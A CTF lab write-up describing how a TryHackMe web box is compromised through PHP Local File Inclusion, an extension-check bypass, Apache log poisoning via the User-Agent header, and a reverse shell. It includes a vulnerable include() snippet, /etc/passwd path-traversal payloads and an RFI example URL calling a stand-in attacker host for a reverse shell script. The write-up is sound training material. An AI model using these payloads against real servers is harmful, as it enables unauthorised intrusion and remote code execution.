LFI -> RCE -> Escaping Docker. A TryHackMe CTF (part 1)

1 year ago 87
BOOK THIS SPACE FOR AD
ARTICLE AD

CTF challenges are a great way to practice core skills needed in a pen-testing engagement, they allow you to exercise your problem-solving skills as you progress, while troubleshooting and doing further research on the challenge posed to you. In these posts, I’ll be detailing my steps taken to enumerate and exploit a web application vulnerability that resulted in full remote access to the web server. (Note: This is a very detailed write-up, and I explain a lot of my thought process and steps taken. Due to the size of this post I will only be including LFI -> RCE part… stay tuned for the RCE -> Escaping a docker container next!)

The Scope

After connecting to the THM VPN, and booting up the challenge, I was given the IP address of the box we are attacking.

Vulnerable Machine: 10.10.222.104My Kali attacking box: 10.18.98.238

Initial Reconnaissance

I started the engagement with a thorough, but simple nmap scan. I scanned all available ports with the -p- flag.

Here we can see there are only two services running; being SSH, and other being HTTP. Knowing this, I did an aggressive scan on those two ports to get as much information as possible.

The aggressive scan, with a flag (-A) combines OS detection, version detection, script scanning and traceroute in one flag. From these, we’ve come to the conclusion that:

The OS of the box is Ubuntu LinuxThe box is running an Apache 2.4.38 webserverThe box has OpenSSH 7.6p1 running for remote access

The next logical thing to do is go to the webpage and discover what awaits us…

We are presented with a simple website, consisting of two buttons ‘A dog’ & ‘A cat’. When you click either of the buttons, you are presented with a picture of the respective animal.

As can be seen above, when clicking on ‘A dog’ we pass the GET parameter ‘view’ into the URL with two possible values, ‘dog’ or ‘cat’. After reviewing the source code you’ll discover this is the only functionality.

Vulnerability discovery

The next logical thing to do is play around with the GET parameter value to try to discover any unusual behaviour. I followed the following steps to discover this website’s vulnerability.

Don’t supply any value to the GET parameter value: ( /?view= )
Interesting… in the backend code there must be some input validation checks to see if ‘cat’ OR ‘dog’ is contained in the value of the ‘view’ GET parameter. We know this is as we now get the message ‘Sorry, only dogs or cats are allowed.’

2. Supply a string containing ‘dog’ (or ‘cat’) plus some nonsense to see how this input validation really works.

Awesome, we got an error that has revealed extremely useful information. Clearly passing ‘dogBEN’ as our input has passed the checks for containing ‘dog’ or ‘cat as we no longer get the ‘… only dogs or cats are allowed.’ output, but instead, get a back-end server error.This error tells us: It passes our input, appended with the extension .php, into a PHP include() function. Expected behaviour, in the back-end, would result in include(dog.php) being called — this results in a picture of a dog, with no errors being shown.The include() function, combined with the lack of proper input validation, is a BIG indicator that the web app is possibly vulnerable to Local File Inclusion (LFI) or Remote File Inclusion (RFI)

Local & Remote File Inclusion (LFI/RFI) quick explanation

Local File Inclusion is a type of web vulnerability that allows an attacker to include local files on the server into the web application.

This vulnerability arises when the application fails to properly sanitize user input that is used to construct file paths. If an attacker can control the file path, they may be able to include sensitive files such as configuration files, source code, or password files. See below for an example of a vulnerable implementation of PHP code that causes an LFI vulnerability.

<?php
$language = $_GET['lang'];
include("languages/$language");
?>

For example, if a genuine URL for this website was: ‘http://vulnweb.com/index.php?lang=en.php’,
where here the GET parameter ‘lang’ controls the language of the page. An attacker could possibly exploit it with:
‘http://vulnweb.com?index.php?lang=../../../../etc/passwd’.

Here the ‘../ ’ has the impact of path traversal, where the directory the webserver is pulling the resources from is currently in ‘var/www/html/languages/’, using a repetition of ‘../’ allows an attacker to move back through the directories, so they can then choose the path of their own choice on the local webserver, in this case ‘/etc/passwd’.

Where LFI allows you to include files hosted on the local webserver, Remote File Inclusion (RFI) allows you to include remotely hosted files. Typically, the threat actor may host a malicious file on his own HTTP, FTP or SMB server, and include that in the get parameter URL to achieve RCE. Including remote URLs when you have a LFI vulnerability does not always work; in the PHP config allow_url_include has to be set to On (or 1), and this is not set by default.

An example of RFI may look something like this:
‘http://vulnweb.com/index.php?view=http://threatactor.evil/revshell.php’

For a deep-dive into LFI with more detail on evasion & possible payloads check this out!

Now you have a low-level view of what LFI & RFI is, let’s apply it to the challenge to get us closer on our path to our initial exploitation

First of all, let’s see RFI would be possible on this box. To do this my test payload will be:
http://dog
This should pass the test for the url containing the string ‘dog’ or ‘cat’, and attempt to include this non-sense website.

As we can see above, an error pops up telling us the ‘http:// wrapper is disabled in the server configuration by allow_url_include=0’. This rules out RFI as a possibility in this challenge.

We can start by trying some common LFI payloads, combined with a ‘dog’ at the front — to bypass the input validation, to see if we get anything worth while.

Here we can see a typical path traversal followed by ‘/etc/passwd’. This doesn’t work as the PHP is appended on the end making the file being read ‘/etc/passwd.php’, we need to find a bypass to this. I figured a ‘php://’ wrappers worked, and I was able to exploit this to find the source code of ‘dog.php’ or ‘cat.php’ respectively.

Decoding the Base64 enconding of the dog.php source code gets us:

<img src="dogs/<?php echo rand(1, 10); ?>.jpg" />

However, I couldn’t get the index.php source code through the PHP wrapper method as the payload wouldn’t pass the initial ‘dog’ / ‘cat’ input validation. At this point, I was stumped, but after speaking with a friend, we managed to figure out a bypass to the .php extension.

Initial Exploitation

I realised if the payload given was:
/?view=dog&ext=.php
This worked, and successfully returned a picture of the dog without any errors. In the backend, there must be a check for the GET parameter ‘ext’. Manipulating the payload a little to give:
/?view=dog/../../../../etc/passwd&ext=

Woop woop! This LFI vulnerability has now been exploited. With the LFI alone, I couldn’t get remote code execution, but instead, we could poison the Apache log files with PHP code, so when I visited the log file — it would execute the malicious code.

Apache has a few log files, the one of interest here being ‘access.log’. Using LFI we can view this log file:

Highlighted in yellow is the User-Agent field, a header which is added to each HTTP request, that tells the back-end information about the browser the request is coming from. I can use Burpsuite to change my User-Agent to PHP code, that’ll execute when I next view the page. In Burpsuite I capture a HTTP request and then send it to the ‘Repeater’ tap so I can easily change the User-Agent field.

Above the system() PHP function is used to execute a shell command, in this case ‘echo $0’, which will print the shell the Linux terminal is using.

Nice! We can see it returned the shell being used is ‘sh’, now to get a full reverse shell. I will start up a reverse TCP listener on my attacking box on port 31337 with:

Then I change my User-Agent PHP payload to start a TCP connection to with my attacking box, and then open a “sh” process to get a full reverse shell.

After sending that final request we get a successful connection to the box and are able to remotely run commands as the user account running the web server! Unfortunately, we only get 2/4 of the flags on this ‘www-data’ user account as it is running as an unprivileged account on a Docker image. In the next post, I’ll be escaping the Docker instance to complete the challenge :)

Read Entire Article